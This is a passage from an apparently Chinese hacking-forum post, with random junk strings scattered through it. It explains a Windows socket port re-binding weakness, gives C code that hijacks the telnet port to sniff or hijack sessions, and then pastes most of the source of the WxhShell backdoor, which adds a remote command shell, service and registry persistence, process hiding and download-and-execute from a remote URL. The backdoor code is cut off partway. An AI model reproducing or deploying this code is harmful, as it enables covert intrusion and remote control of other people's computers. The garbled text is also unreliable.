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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3A~<|<}t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QR~4Fe T/%Y_.NtU saddr.sin_family = AF_INET; i|/G!ht^e /|h+,]<
> saddr.sin_addr.s_addr = htonl(INADDR_ANY); YD9vWk\/ u$ci{< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'IVC!uL,% 0@EI@X;q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SJ;{ Hg x5;D'Y t"| 这意味着什么?意味着可以进行如下的攻击: Q?([# R*k;4*1u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a0B%x!y^ -!M>;M@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I4UsDs*BD d>#X+;-k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yy`A0v Yb[)ETf^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 pa?AKj] 87)/dHc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'iwTvkf{ Z?9G2<i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \)aFYDq#\ j':<7n/A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pd
`~#! xH,e$t#@@~ #include 0lOan #include 4W E)2vkS #include $ER$|9)KD #include _Vt9ckaA DWORD WINAPI ClientThread(LPVOID lpParam); e85E+S% int main() MAX?,-x { ]y$/~(OW WORD wVersionRequested; pV 8U`T DWORD ret; +R{~%ZTK WSADATA wsaData; .>_%12> BOOL val; opzlh@R
3 SOCKADDR_IN saddr; _o+OkvhU SOCKADDR_IN scaddr; 8)Vl2z int err; qAlX#] SOCKET s; 3Y +;8ld SOCKET sc; tF<&R&= int caddsize; YT)1_>*\ HANDLE mt; Su
+<mW DWORD tid; NQiu>Sg wVersionRequested = MAKEWORD( 2, 2 ); zNn err = WSAStartup( wVersionRequested, &wsaData ); ?Lv U7 if ( err != 0 ) { [{vX*q
3B printf("error!WSAStartup failed!\n"); =W"T=p*j return -1; 30s A\TZ } AxO.adQE% saddr.sin_family = AF_INET; qzZ;{>_f
oGbh* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "dYT>w YETGq- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <@4V G saddr.sin_port = htons(23); ).Iifu|ks if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Br1b6 V { {`>pigo printf("error!socket failed!\n"); /%{CJ0Y return -1; 0dD.xuor } hX-^h2eV val = TRUE; rCA0c8 //SO_REUSEADDR选项就是可以实现端口重绑定的 3fYfj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pk;S"cnk { GQjU="+ printf("error!setsockopt failed!\n"); m>!o
Yy_ return -1; :r:x|[3. } C&EA@U5X^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AnZy
oa //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `J7@G]X;2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KO[Ty' R.GDCGAL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =*6H!bzX { 9Nz}'a;?> ret=GetLastError(); 8`I,KkWg
printf("error!bind failed!\n"); *W 04$N return -1; lm +s5}*%o } )!
kl: listen(s,2); Qdc)S>gp while(1) 6]HMhv { 4T){z^"
caddsize = sizeof(scaddr); 7kMO);pO //接受连接请求 NKVLd_f k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X@A8~kj1 if(sc!=INVALID_SOCKET) 0juP"v$C> { QV#HN"F/K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uFvR(LDb&g if(mt==NULL) .i#'IS0c { AJ#YjkO>] printf("Thread Creat Failed!\n"); e_S,N0 break; (8N E'd8 } <Y;w
I#C } kD((1v*D$ CloseHandle(mt); 7Fzr\& } 6J-=6t| closesocket(s); \t=#MzjR WSACleanup(); .^ba*qb`{ return 0; 85A7YraL } c;#gvE DWORD WINAPI ClientThread(LPVOID lpParam) 1k$5'^]^9] { g<8Oezi 65 SOCKET ss = (SOCKET)lpParam; 2';{o=TXV SOCKET sc; >I+p;V$@ unsigned char buf[4096]; 7WNUHLEt SOCKADDR_IN saddr; Jr(Z Ym' long num; @v\8+0 DWORD val; _ZK*p+u% DWORD ret; I%z,s{9p //如果是隐藏端口应用的话,可以在此处加一些判断 $B]_^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 D|vck1C5, saddr.sin_family = AF_INET; .[?2_e#9 % saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [BEQ ~A_I saddr.sin_port = htons(23); q1rD>n&d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %."w]fy>P { \@{TF((Y printf("error!socket failed!\n"); WZviC_ return -1; $L'[_J } F$YT4414 val = 100; #3FsK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O6\c1ha { A":cS }Ui ret = GetLastError(); hSj@<#b>F return -1; [[ll4| } *c(YlfeZ# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -O $!sFmY { E$v!Z; A ret = GetLastError(); I 6L3M\+- return -1; iBY16_q } j:HIcCp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m:9|5W { y7Hoy.( printf("error!socket connect failed!\n"); A^\g]rmK closesocket(sc); ?lU(FK closesocket(ss); AU8sU?= return -1; /3;]e3x } !~xlze while(1) /.t1Ow { kJCeQK:W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {=MRJg!U //如果是嗅探内容的话,可以再此处进行内容分析和记录 TALiH'w6|e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >h$Q%w{V num = recv(ss,buf,4096,0); -6e^`c6{ if(num>0) 4(`U]dNcs send(sc,buf,num,0); %@HuAcNi else if(num==0) 7gRR/&ZK break; P9jSLM num = recv(sc,buf,4096,0); qv<^%7gq if(num>0) rG%8ugap send(ss,buf,num,0); ZT<VDcP{ else if(num==0) ~sNBklK break; sH%Ts@Pl } wZ_"@j< closesocket(ss); onIZ&wrk closesocket(sc); 8\+DSA return 0 ; `~NjBtQ } G#1W":|` "EZpTy}Ee D8WKy ========================================================== p&
Kfy~
|z0% q2( 下边附上一个代码,,WXhSHELL $3cZS 8zh o\' ========================================================== mp*?GeV?M O;0VKNn[' #include "stdafx.h" `4ti?^BNm @qB>qD~WsD #include <stdio.h> blkPsp)m" #include <string.h> m\MI 6/ #include <windows.h> 3XDuo|( #include <winsock2.h> 1aPFpo! #include <winsvc.h> '#jZ` #include <urlmon.h> Qve5qJ Rt@O@oD I #pragma comment (lib, "Ws2_32.lib") ` ^;J<l #pragma comment (lib, "urlmon.lib") I]WvcDJ}C 27}0 #define MAX_USER 100 // 最大客户端连接数 XI,= W #define BUF_SOCK 200 // sock buffer CQ7NQ^3k #define KEY_BUFF 255 // 输入 buffer ?[)V S.pXo'} #define REBOOT 0 // 重启 }-Jo9dNs #define SHUTDOWN 1 // 关机 B)dG:~ XQ8q)B= #define DEF_PORT 5000 // 监听端口 0#~k)>(7lR ;(Az #define REG_LEN 16 // 注册表键长度 1E0!?kRK #define SVC_LEN 80 // NT服务名长度 3jHE,5m 7W>(T8K X\ // 从dll定义API G?Za/G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w zi7pJjXh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |+qsO; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !=u=P9I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R^"mGe\LL $Z8riVJ7j- // wxhshell配置信息 4E+8kz' struct WSCFG { o[q|dhrANh int ws_port; // 监听端口 8fK/0u^`d char ws_passstr[REG_LEN]; // 口令 Qkc9X0J! int ws_autoins; // 安装标记, 1=yes 0=no Q
/t_%vb char ws_regname[REG_LEN]; // 注册表键名 VHv L:z char ws_svcname[REG_LEN]; // 服务名 [p]UM;+ char ws_svcdisp[SVC_LEN]; // 服务显示名 Q`Rn,kCVy char ws_svcdesc[SVC_LEN]; // 服务描述信息 C
u1G8t- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B;2#Sa. int ws_downexe; // 下载执行标记, 1=yes 0=no =,X*40= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Mo oxT7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D$E#:[ FU;a
{irB }; "Jdi>{o8 o'8%5M@ // default Wxhshell configuration }rF4M1+B\ struct WSCFG wscfg={DEF_PORT, t. DnF[ "xuhuanlingzhe", &>G8DvfJ9 1, J|VDZ# c7 "Wxhshell", Y' 5X4Ks| "Wxhshell", ja(ZJ[<` "WxhShell Service", r,Msg&rT "Wrsky Windows CmdShell Service", [Mj5o<k;I "Please Input Your Password: ", n(CM)(ozU 1, ;Eh"]V,e " http://www.wrsky.com/wxhshell.exe", VKg9^%#b`[ "Wxhshell.exe" kYR^ }; *^CN2tm pimI)1 !$' // 消息定义模块 MPF({Pnx7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x6^FpNgQ char *msg_ws_prompt="\n\r? for help\n\r#>"; 9#kk5 )J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O'QnfpQ*9 char *msg_ws_ext="\n\rExit."; 12: Q`
char *msg_ws_end="\n\rQuit."; XEN-V-Z%* char *msg_ws_boot="\n\rReboot..."; y.(m#&T char *msg_ws_poff="\n\rShutdown..."; *:`fgaIDa char *msg_ws_down="\n\rSave to "; Nnoj6+b .')^4\ char *msg_ws_err="\n\rErr!"; Dw
y|mxlFn char *msg_ws_ok="\n\rOK!"; E )2/Vn2 fB'Jo<C char ExeFile[MAX_PATH]; qOa*JA` int nUser = 0; a>+m_]*JZ HANDLE handles[MAX_USER]; 'pF$6n; int OsIsNt; S"`{ JCW$ jc@=
b:r= SERVICE_STATUS serviceStatus; }G!'SZ$F 5 SERVICE_STATUS_HANDLE hServiceStatusHandle; fJe5
i6`( WcpH="vm // 函数声明 C'jCIL int Install(void); CIRMAX int Uninstall(void); o@C|*TXN int DownloadFile(char *sURL, SOCKET wsh); +U?73cYN
int Boot(int flag); ZZc^~ void HideProc(void); D&]xKx int GetOsVer(void); xn)F(P 0kv int Wxhshell(SOCKET wsl); j)Z0K$z= void TalkWithClient(void *cs); \g v-2., int CmdShell(SOCKET sock); )Lk2tvr int StartFromService(void); k?/! ` int StartWxhshell(LPSTR lpCmdLine); RN;#H_
q $>Ow<!c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `>RM:!m6=$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); h]IoH0/ U.ZA%De // 数据结构和表定义 JV+Uy$P! SERVICE_TABLE_ENTRY DispatchTable[] = ;Rm';IW$
{ v
"[<pFj^ {wscfg.ws_svcname, NTServiceMain}, aJc>"#+
o {NULL, NULL} :_+U[k(# }; K9K.mGYc XXQC`%-]<i // 自我安装 '
-aLBAxy int Install(void) TGjxy1A { XjYMp3 char svExeFile[MAX_PATH]; }g[Hi` HKEY key; <,H/7Ba strcpy(svExeFile,ExeFile); !#E-p?O. >xH?`I7;f // 如果是win9x系统,修改注册表设为自启动 y5VohVa` if(!OsIsNt) { oeI[x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^}:0\;|N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r]kks_!Z RegCloseKey(key); .'2"83f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S'>KGdF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %O{FZgi%wA RegCloseKey(key); uVXn/B return 0; u{dkUG1ia } u/N_62sk5 } dN){w _
} CurU6x1 else { ?Qts2kae# ;#*.@Or@Ah // 如果是NT以上系统,安装为系统服务 h645;sb0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L$ jii if (schSCManager!=0) `];ne]xM { Ad-_=a% SC_HANDLE schService = CreateService !L_xcov!Y ( s"8z q;) schSCManager, )a+bH </' wscfg.ws_svcname, Qb;]4[3 wscfg.ws_svcdisp, |@?='E?h SERVICE_ALL_ACCESS, kpk ^Uw%f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FE#|5;q. SERVICE_AUTO_START, ONc#d'-L SERVICE_ERROR_NORMAL, 8zwH^q[`r svExeFile, s,D GFK NULL, 'SIc2H NULL, U)3?&9H NULL, ;zWiPnX} NULL, 2"o<>d NULL 77 ?TRC ); Q1H.2JXr if (schService!=0) % 5BSXAc { C3 m_sv#e CloseServiceHandle(schService); Gr3 q CloseServiceHandle(schSCManager); !=+;9Ry$z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q0xQxz strcat(svExeFile,wscfg.ws_svcname); Z(J
1A x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8"u.GL. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?w)A`G_ RegCloseKey(key); i_I` return 0; 475jmQ{q } zD
sV"D8 } TJ,?C$3 CloseServiceHandle(schSCManager); F[fs^Q6S$ } Kke
_?/fT } U/7jK40 u R!'v return 1; ux[13]yY } 'qeUI}[ BpF}H^V- // 自我卸载 m^^#3*qa int Uninstall(void) ![Vrbe P { 2J`LZS HKEY key; 2[KHmdgtB UZgrSX { if(!OsIsNt) { V{rQ@7SE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kioIyV\= RegDeleteValue(key,wscfg.ws_regname); yT(86#st RegCloseKey(key); Mv7tK
l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~"h V-3U RegDeleteValue(key,wscfg.ws_regname); O:dUzZR[' RegCloseKey(key); 7[}WvfN8# return 0; zaE!=-U } *mN8Qd } ;47 =x1ji } " &mwrjn"T else { HZ\=NDz 8JO(P0aT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n|PW^kOE/ if (schSCManager!=0) 9|9/8a6A { YDEb MEMd/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *#'&a(hB! if (schService!=0) >SD?MW1E { v\XO?UEJ2 if(DeleteService(schService)!=0) { X d&oERJj CloseServiceHandle(schService); K%/g!t) CloseServiceHandle(schSCManager); Ge76/T%{Q return 0; "(:8$Fb } wee5Nirw6 CloseServiceHandle(schService); b/=>'2f } ?;go5f+X CloseServiceHandle(schSCManager); h0VeXUM;. } sWgzHj(c } v)'Uoe"R% @9MrTP return 1; EFs\zWF } a & 6-QVk ?j}
Fxr // 从指定url下载文件 oMN
Qv%U int DownloadFile(char *sURL, SOCKET wsh) e#?rK=C?9 { X-%91z:o58 HRESULT hr; C7Hgzc|U char seps[]= "/"; "l6Ob char *token; COSQ char *file; Z0Qh7xWve char myURL[MAX_PATH]; `P;uPQDzZ3 char myFILE[MAX_PATH]; lq27^K W1Om$S1 strcpy(myURL,sURL); @h7
i;Ok token=strtok(myURL,seps); j,N,WtE while(token!=NULL) I4zm{ 1g { .r-kH&)"GU file=token; }cg 1CT5 token=strtok(NULL,seps); Zb~G&.
2g } V}4u1oG cHwN=mg]S GetCurrentDirectory(MAX_PATH,myFILE); cLMFC1=b strcat(myFILE, "\\"); 6Kd,(DI strcat(myFILE, file); "o<&3c4 send(wsh,myFILE,strlen(myFILE),0); &s&Ha{(!w send(wsh,"...",3,0); SS-7y:6y> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HOVzpj if(hr==S_OK) 0&2&F=fOa< return 0; 6^nxw>- else o31pF return 1; wpm $?X 5%R$7>`Z } *&W1|Qkg_ BctU`. // 系统电源模块 zMAlZ[DN int Boot(int flag) |JCn=v@ { P/dT;YhL HANDLE hToken; "J3n_3+ TOKEN_PRIVILEGES tkp; "ODs.m oq &4Y@-;REt if(OsIsNt) { {s[,CUL0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h/#s\>)T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X(K5>L> tkp.PrivilegeCount = 1; )<%IY&\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b_oUG_B3] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "H)D~K~* if(flag==REBOOT) { Z`'&yG;U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X!0m, return 0; {hKf
'd9E } 1${Cwb/F else { " G0HsXi if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<:`x> _ return 0; 2aW"t.[j } 'FGf#l< } 8x<; AL|` else { |'12Kv]#Xa if(flag==REBOOT) { </7?puVR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0'^zIL#. return 0; V?Ye^-29 } ILXV yU else { GvD{ I; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1;y?!;FD return 0; OW8"7*irT } ?rv5Z^D' } 9vz"rHV ~ny4Ay$# return 1; EX,)MU } HVcd< :g0 uVV;"LVK~ // win9x进程隐藏模块 ]_P!+5]< void HideProc(void) 8w4cqr4m { ,W~a%8* ADN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m=%WA5c? if ( hKernel != NULL ) Ptv=Bwg { 28PT19& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +"2IQme5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i^u5j\pfY* FreeLibrary(hKernel); l+i9)Fc<i } !3#*hL1fy "]D2}E>U; return; 6/eh~ME= } F;_L/8Ov1 ?W4IAbT\G // 获取操作系统版本 Fm{`?! int GetOsVer(void) `SO"F, { 4F>?G{ci OSVERSIONINFO winfo; gdyP,zMD7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tV,Y38e GetVersionEx(&winfo); `O|PP3S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !&OybjQ return 1; Z'L}x6 else Y;WHjW(K return 0; O(oGRK<xM } ~Fd<d[b? q!+m,
!M // 客户端句柄模块 t9B]V int Wxhshell(SOCKET wsl) U.HeIJ# { !FVXNl SOCKET wsh; +gQoYlso struct sockaddr_in client; mOvwdRKn DWORD myID; +c^[[ K" hZ@Wl6FG; while(nUser<MAX_USER) Fi^Q]9.@{ { @.Pe.\Z int nSize=sizeof(client); -Am~CM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S+EC!;@Xg if(wsh==INVALID_SOCKET) return 1; -h<Rby _PeBV< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NbtNu$%t if(handles[nUser]==0) O7z-4r closesocket(wsh); U`fxe`nVa else ]Kb3'je nUser++; A!Ls<D. } ~L.)<{? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'rwnAr sOBy)vq?\ return 0; I?mU _^no } 3G7Qo FF"`F8-w>Z // 关闭 socket Z
^tF void CloseIt(SOCKET wsh) } 1> i { YI*Av+Z) closesocket(wsh); h)qapC5z, nUser--; sKT GZA ExitThread(0); )0I;+9:D= } '8 ~E E|jbbCZy2 // 客户端请求句柄 vNJ!d void TalkWithClient(void *cs) ta-kqt!' { jJF(*D Qr4c':8 SOCKET wsh=(SOCKET)cs; Gdd lB2L)x char pwd[SVC_LEN]; {-(B char cmd[KEY_BUFF]; =gb.%a{R char chr[1]; Ol9'ZB|R int i,j; wtDy-H n `
qqUuFMM while (nUser < MAX_USER) { C=6 Vd [p+6HF if(wscfg.ws_passstr) { ]_yk,}88d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `4'['x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [D=3:B&f //ZeroMemory(pwd,KEY_BUFF); )o<rU[oD]C i=0; :N<ZO`l? while(i<SVC_LEN) { 7Xu.z9y )r#^{{6[v // 设置超时 r1= :B'z fd_set FdRead; ]$'w8<D>t, struct timeval TimeOut; 1}{bHj FD_ZERO(&FdRead); ^y,%Tv> FD_SET(wsh,&FdRead); i-'rS/R TimeOut.tv_sec=8; `)[bu TimeOut.tv_usec=0; tU02t#8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MXbt`]`_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0\*6UH E5P?(5Nv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #
4AyA$t pwd =chr[0]; '1[}PmhD if(chr[0]==0xd || chr[0]==0xa) { +IiL(\ew pwd=0; ~7tG%{t% break; u:Q_XXT5 } S"iz
fQ@ i++; UGNFWZ c } {BBL`tg60 Azun"F_f // 如果是非法用户,关闭 socket C~.7m-YW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W[]N.d7G } 5sD\4 g)HK _N 5$>2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C%8jWc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?\C7.of dHnR)[?e while(1) { ON{&- ceDe!Iu ZeroMemory(cmd,KEY_BUFF); H=OKm w1-/U+0o // 自动支持客户端 telnet标准 -,t2D/xK j=0; Q
Fv"!Ql while(j<KEY_BUFF) { oGi;S ="I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8m0GxgS cmd[j]=chr[0]; GVT+c@Gx
if(chr[0]==0xa || chr[0]==0xd) { ewYZ} "o cmd[j]=0; T/#$44ub break; HF9d~7R } ;Zb+WGyj j++; $2=-Q/lM } Nb2]}; O ssv4#8p3 // 下载文件 f)p c$~B if(strstr(cmd,"http://")) { -v *wT*I1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); &<Bx1\ ~V if(DownloadFile(cmd,wsh)) 0Bx.jx0? send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]"aa_20] else Zs
_Jn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }VlX!/42 } Yl[GO}M else { ALqP;/ /F;b<kIy8 switch(cmd[0]) { 75j`3wzu '"{ IV // 帮助 _C3l2v'I$ case '?': { N-fGc?E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \e%H5Wx break; \vVGfG?6 } zmH 8# // 安装 kK]JN case 'i': { i?uJ<BdU[ if(Install()) PSX-b)wb send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJ+V!K'H2 else 3+gp_7L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F.)b`:g break; {umdW
x.* } Jrp{e("9 // 卸载 -,NiSh}A case 'r': { R=jIVw' if(Uninstall()) " >QNiR! send(wsh,msg_ws_err,strlen(msg_ws_err),0); yDBS :
\ else X p4x:N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tL68
u[ break; U$R+&@; } =p 9d4smbn // 显示 wxhshell 所在路径 xy>~1 5 case 'p': { Zvd^<SP<? char svExeFile[MAX_PATH]; }~Z1C0t strcpy(svExeFile,"\n\r"); Pa PQ|Pwz strcat(svExeFile,ExeFile); ]+O];*T send(wsh,svExeFile,strlen(svExeFile),0); e;:~@cB,c break; ", b}-B } ,/n<Qg"` // 重启 N5u.V\F!z\ case 'b': { l?:!G7ie send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #wH<W5gSZ if(Boot(REBOOT)) KlbL<9P> send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5a1)`2V2M else { iGmBG1a\ closesocket(wsh); >'3J. FY ExitThread(0); 1?\ #hemL } gz6BfHQG break; G*_$[| H } ; ]GSVv: // 关机 HMbF#!E case 'd': { V3O<l}ak send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D&q-L[tA@ if(Boot(SHUTDOWN)) eIjn~2^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_A+)_ else { bV_@!KL$ closesocket(wsh); Sns`/4S?6Z ExitThread(0); ]r;-Lx{F } ydOJ^Yty break; j,")c'r&dD } y=) Cid // 获取shell FVOR~z case 's': { d4h1#MK CmdShell(wsh); P#5&D*`}h closesocket(wsh); `~'yy q ExitThread(0); M&Aeh8>uX break; $i&u\iL } "*O(3L.c- // 退出 '&{`^l/MH case 'x': { |T: 'G send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e1ru#'z CloseIt(wsh); >gqM|-uY break; MM8r*T4g/ } }Z5#{Sd // 离开 D_fgxl case 'q': { 0U'g2F>{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0` :B#ten closesocket(wsh); #w3cImgp2 WSACleanup(); j}NGyS" = exit(1); q1QrtJFPG break; SS;[{u! } {VqcZhqy/l } _JZS;8WYR } .0^-a=/ >D'Kt?L<]m // 提示信息 Y@'ug N|[C if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l
:\DC }
lIHSy } R1Jj 3k )*_4=-8H return; CCp&P5[67 } I9GRSm;0< M$j]VZ // shell模块句柄 _<x4/".}B3 int CmdShell(SOCKET sock) zb/w^~J_i { (orO=gST-/ STARTUPINFO si; X!r9 ZeroMemory(&si,sizeof(si)); |Rk$u si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5nL,sFd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z.itVQs$I PROCESS_INFORMATION ProcessInfo; ln}2 char cmdline[]="cmd"; -z%|
Jk CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wmu#@Hf/[h return 0; o'S&YD } |ho|Kl `= V<f76U) // 自身启动模式 KCG-&p$v@s int StartFromService(void) n JH+P!AC { k[3J5 4`g1 typedef struct f(Jz*el
S { z?V'1L1gM DWORD ExitStatus; \yeo-uN8 DWORD PebBaseAddress; %G!BbXlz DWORD AffinityMask; /lBx}o' DWORD BasePriority; > D:(HWL ULONG UniqueProcessId; GY9CU=- ULONG InheritedFromUniqueProcessId; mup<%@7m } PROCESS_BASIC_INFORMATION; NIn# Qx,jUL#2 PROCNTQSIP NtQueryInformationProcess; RM2<%$ G5~ Jp#uA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :p^7XwX%w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X.V6v4 lc%2fVG-e HANDLE hProcess; e-vwve PROCESS_BASIC_INFORMATION pbi; 9L+dN%C F)x^AJie HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (dl7+ if(NULL == hInst ) return 0; Y>}[c
